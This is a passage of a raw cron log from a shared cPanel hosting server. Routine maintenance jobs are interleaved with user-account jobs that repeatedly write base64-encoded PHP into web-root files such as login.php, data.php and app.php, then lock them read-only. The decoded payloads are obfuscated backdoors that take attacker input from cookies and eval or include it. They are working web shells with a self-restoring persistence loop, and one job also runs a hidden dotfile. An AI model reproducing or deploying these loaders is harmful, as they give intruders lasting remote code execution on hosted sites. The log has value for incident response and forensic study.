gICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:10:02 medusa CROND[1818]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:10:02 medusa CROND[1799]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 13:10:02 medusa CROND[1801]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 13:10:02 medusa CROND[1807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:10:02 medusa CROND[1820]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 13:10:02 medusa CROND[1830]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 13:10:02 medusa CROND[1803]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 13:10:02 medusa CROND[1836]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 13:10:02 medusa CROND[1837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:10:02 medusa CROND[1840]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 13:10:02 medusa CROND[1839]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 13:10:02 medusa CROND[1808]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 13:11:02 medusa CROND[14733]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:11:02 medusa CROND[14736]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:11:02 medusa CROND[14738]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 13:11:02 medusa CROND[14740]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:11:02 medusa CROND[14739]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:11:02 medusa CROND[14741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:11:02 medusa CROND[14743]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:11:02 medusa CROND[14737]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:11:02 medusa CROND[14750]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:11:02 medusa CROND[14753]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:11:02 medusa CROND[14754]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:11:02 medusa CROND[14751]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:11:02 medusa CROND[14752]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 13:12:01 medusa CROND[26759]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:12:01 medusa CROND[27061]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:12:01 medusa CROND[27063]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 13:12:01 medusa CROND[27064]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:12:01 medusa CROND[27065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:12:01 medusa CROND[27066]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:12:01 medusa CROND[27067]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:12:01 medusa CROND[27075]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 13:12:01 medusa CROND[27078]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 13:12:01 medusa CROND[27084]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:12:01 medusa CROND[27085]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:12:01 medusa CROND[27088]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:12:01 medusa CROND[27089]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1